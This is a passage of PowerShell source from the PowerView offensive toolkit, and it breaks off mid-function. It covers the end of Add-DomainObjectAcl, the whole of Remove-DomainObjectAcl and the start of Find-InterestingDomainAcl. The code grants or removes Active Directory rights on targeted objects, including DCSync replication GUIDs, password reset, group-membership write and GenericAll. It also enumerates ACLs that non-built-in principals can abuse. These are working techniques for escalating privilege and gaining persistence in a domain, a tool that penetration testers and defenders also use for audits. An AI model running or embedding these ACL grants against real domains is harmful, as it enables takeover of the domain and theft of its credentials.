[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$TargetIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$TargetDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$TargetLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$TargetSearchBase,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$PrincipalIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$PrincipalDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended')]
|
|
[String]
|
|
$Rights = 'All',
|
|
|
|
[Guid]
|
|
$RightsGUID
|
|
)
|
|
|
|
BEGIN {
|
|
$TargetSearcherArguments = @{
|
|
'Properties' = 'distinguishedname'
|
|
'Raw' = $True
|
|
}
|
|
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
|
|
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
|
|
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
|
|
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
|
|
|
|
$PrincipalSearcherArguments = @{
|
|
'Identity' = $PrincipalIdentity
|
|
'Properties' = 'distinguishedname,objectsid'
|
|
}
|
|
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
|
|
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
|
|
$Principals = Get-DomainObject @PrincipalSearcherArguments
|
|
if (-not $Principals) {
|
|
throw "Unable to resolve principal: $PrincipalIdentity"
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
$TargetSearcherArguments['Identity'] = $TargetIdentity
|
|
$Targets = Get-DomainObject @TargetSearcherArguments
|
|
|
|
ForEach ($TargetObject in $Targets) {
|
|
|
|
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
|
|
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
|
|
$ACEs = @()
|
|
|
|
if ($RightsGUID) {
|
|
$GUIDs = @($RightsGUID)
|
|
}
|
|
else {
|
|
$GUIDs = Switch ($Rights) {
|
|
# ResetPassword doesn't need to know the user's current password
|
|
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
|
|
# allows for the modification of group membership
|
|
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
|
|
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
|
|
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
|
|
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
|
|
# when applied to a domain's ACL, allows for the use of DCSync
|
|
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
|
|
'AllExtended' { 'ExtendedRight' }
|
|
}
|
|
}
|
|
|
|
ForEach ($PrincipalObject in $Principals) {
|
|
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
|
|
|
|
try {
|
|
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
|
|
|
|
if ($GUIDs -and !($GUIDs -eq 'ExtendedRight')) {
|
|
ForEach ($GUID in $GUIDs) {
|
|
$NewGUID = New-Object Guid $GUID
|
|
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
|
|
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
|
|
}
|
|
}
|
|
elseif ($GUIDs -eq 'ExtendedRight') {
|
|
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
|
|
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
|
|
}
|
|
else {
|
|
# deault to GenericAll rights
|
|
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
|
|
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
|
|
}
|
|
|
|
# add all the new ACEs to the specified object directory entry
|
|
ForEach ($ACE in $ACEs) {
|
|
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
|
|
$TargetEntry = $TargetObject.GetDirectoryEntry()
|
|
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
|
|
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
|
|
$TargetEntry.PsBase.CommitChanges()
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Remove-DomainObjectAcl {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Removes an ACL from a specific active directory object.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObject
|
|
|
|
.DESCRIPTION
|
|
|
|
This function modifies the ACL/ACE entries for a given Active Directory
|
|
target object specified by -TargetIdentity. Available -Rights are
|
|
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
|
|
rights GUID can be set with -RightsGUID. These rights are removed from the target
|
|
object for the specified -PrincipalIdentity.
|
|
|
|
.PARAMETER TargetIdentity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
for the domain object to modify ACLs for. Required. Wildcards accepted.
|
|
|
|
.PARAMETER TargetDomain
|
|
|
|
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
|
|
|
|
.PARAMETER TargetLDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory object targets.
|
|
|
|
.PARAMETER TargetSearchBase
|
|
|
|
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER PrincipalIdentity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
|
|
for the domain principal to add for the ACL. Required. Wildcards accepted.
|
|
|
|
.PARAMETER PrincipalDomain
|
|
|
|
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Rights
|
|
|
|
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
|
|
Defaults to 'All'.
|
|
|
|
.PARAMETER RightsGUID
|
|
|
|
Manual GUID representing the right to add to the target.
|
|
|
|
.EXAMPLE
|
|
|
|
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
|
|
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
|
|
|
|
[no results returned]
|
|
|
|
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
|
|
|
|
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
|
|
|
|
AceQualifier : AccessAllowed
|
|
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
|
|
ActiveDirectoryRights : ExtendedRight
|
|
ObjectAceType : User-Force-Change-Password
|
|
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
|
|
InheritanceFlags : None
|
|
BinaryLength : 56
|
|
AceType : AccessAllowedObject
|
|
ObjectAceFlags : ObjectAceTypePresent
|
|
IsCallback : False
|
|
PropagationFlags : None
|
|
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
|
|
AccessMask : 256
|
|
AuditFlags : None
|
|
IsInherited : False
|
|
AceFlags : None
|
|
InheritedObjectAceType : All
|
|
OpaqueLength : 0
|
|
|
|
|
|
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
|
|
|
|
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
|
|
|
|
[no results returned]
|
|
|
|
.LINK
|
|
|
|
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$TargetIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$TargetDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$TargetLDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$TargetSearchBase,
|
|
|
|
[Parameter(Mandatory = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$PrincipalIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$PrincipalDomain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
|
|
[String]
|
|
$Rights = 'All',
|
|
|
|
[Guid]
|
|
$RightsGUID
|
|
)
|
|
|
|
BEGIN {
|
|
$TargetSearcherArguments = @{
|
|
'Properties' = 'distinguishedname'
|
|
'Raw' = $True
|
|
}
|
|
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
|
|
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
|
|
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
|
|
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
|
|
|
|
$PrincipalSearcherArguments = @{
|
|
'Identity' = $PrincipalIdentity
|
|
'Properties' = 'distinguishedname,objectsid'
|
|
}
|
|
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
|
|
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
|
|
$Principals = Get-DomainObject @PrincipalSearcherArguments
|
|
if (-not $Principals) {
|
|
throw "Unable to resolve principal: $PrincipalIdentity"
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
$TargetSearcherArguments['Identity'] = $TargetIdentity
|
|
$Targets = Get-DomainObject @TargetSearcherArguments
|
|
|
|
ForEach ($TargetObject in $Targets) {
|
|
|
|
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
|
|
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
|
|
$ACEs = @()
|
|
|
|
if ($RightsGUID) {
|
|
$GUIDs = @($RightsGUID)
|
|
}
|
|
else {
|
|
$GUIDs = Switch ($Rights) {
|
|
# ResetPassword doesn't need to know the user's current password
|
|
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
|
|
# allows for the modification of group membership
|
|
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
|
|
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
|
|
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
|
|
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
|
|
# when applied to a domain's ACL, allows for the use of DCSync
|
|
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
|
|
}
|
|
}
|
|
|
|
ForEach ($PrincipalObject in $Principals) {
|
|
Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"
|
|
|
|
try {
|
|
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
|
|
|
|
if ($GUIDs) {
|
|
ForEach ($GUID in $GUIDs) {
|
|
$NewGUID = New-Object Guid $GUID
|
|
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
|
|
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
|
|
}
|
|
}
|
|
else {
|
|
# deault to GenericAll rights
|
|
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
|
|
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
|
|
}
|
|
|
|
# remove all the specified ACEs from the specified object directory entry
|
|
ForEach ($ACE in $ACEs) {
|
|
Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
|
|
$TargetEntry = $TargetObject.GetDirectoryEntry()
|
|
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
|
|
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
|
|
$TargetEntry.PsBase.CommitChanges()
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-InterestingDomainAcl {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds object ACLs in the current (or specified) domain with modification
|
|
rights set to non-built in objects.
|
|
|
|
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
|
|
|
|
.DESCRIPTION
|
|
|
|
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
|
|
and for each returned ACE entry it checks if principal security identifier
|
|
is *-1000 (meaning the account is not built in), and also checks if the rights for
|
|
the ACE mean the object can be modified by the principal. If these conditions are met,
|
|
then the security identifier SID is translated, the domain object is retrieved, and
|
|
additional IdentityReference* information is appended to the output object.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER ResolveGUIDs
|
|
|
|
Switch. Resolve GUIDs to their display names.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-InterestingDomainAcl
|
|
|
|
Finds interesting object ACLS in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
|
|
|
|
Finds interesting object ACLS in the ev.testlab.local domain and
|
|
resolves rights GUIDs to display names.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ACL
|
|
|
|
Custom PSObject with ACL entries.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.ACL')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DomainName', 'Name')]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Switch]
|
|
$ResolveGUIDs,
|
|
|
|
[String]
|
|
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
|
|
$RightsFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$ACLArguments = @{}
|
|
if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }
|
|
if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
|
|
if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
|
|
|
|
$ObjectSearcherArguments = @{
|
|
'Properties' = 'samaccountname,objectclass'
|
|
'Raw' = $True
|
|
}
|
|
if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
|
|
|
|
$ADNameArguments = @{}
|
|
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
|
|
|
|
# ongoing list of built-up SIDs
|
|
$ResolvedSIDs = @{}
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Domain']) {
|
|
$ACLArguments['Domain'] = $Domain
|
|
$ADNameArguments['Domain'] = $Domain
|
|
}
|
|
|
|
Get-DomainObjectAcl @ACLArguments | ForEach-Object {
|
|
|
|
if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
|
|
# only process SIDs > 1000
|
|
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
|
|
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
|
|
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
|
|
|
|
$InterestingACL = New-Object PSObject
|
|
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
|
|
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
|
|
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
|
|
if ($_.ObjectAceType) {
|
|
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
|
|
}
|
|
else {
|
|
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
|
|
}
|
|
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
|
|
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
|
|
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
|
|
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
|
|
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
|
|
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
|
|
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
|
|
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
|
|
$InterestingACL
|
|
}
|
|
else {
|
|
$IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
|
|
# "IdentityReferenceDN: $IdentityReferenceDN"
|
|
|
|
if ($IdentityReferenceDN) {
|
|
$IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
|
# "IdentityReferenceDomain: $IdentityReferenceDomain"
|
|
$ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
|
|
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
|
|
# "IdentityReferenceDN: $IdentityReferenceDN"
|
|
$Object = Get-DomainObject @ObjectSearcherArguments
|
|
|
|
if ($Object) {
|
|
$IdentityReferenceName = $Object.Properties.samaccountname[0]
|
|
if ($Object.Properties.objectclass -match 'computer') {
|
|
$IdentityReferenceClass = 'computer'
|
|
}
|
|
elseif ($Object.Properties.objectclass -match 'group') {
|
|
$IdentityReferenceClass = 'group'
|
|
}
|
|
elseif ($Object.Properties.objectclass -match 'user') {
|
|
$IdentityReferenceClass = 'user'
|
|
}
|
|
else {
|
|
$IdentityReferenceClass = $Null
|
|
}
|
|
|
|
# save so we don't look up more than once
|
|
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
|
|
|
|
$InterestingACL = New-Object PSObject
|
|
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
|
|
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
|
|
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
|
|
if ($_.ObjectAceType) {
|
|
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
|
|
}
|
|
else {
|
|
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
|
|
}
|
|
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
|
|
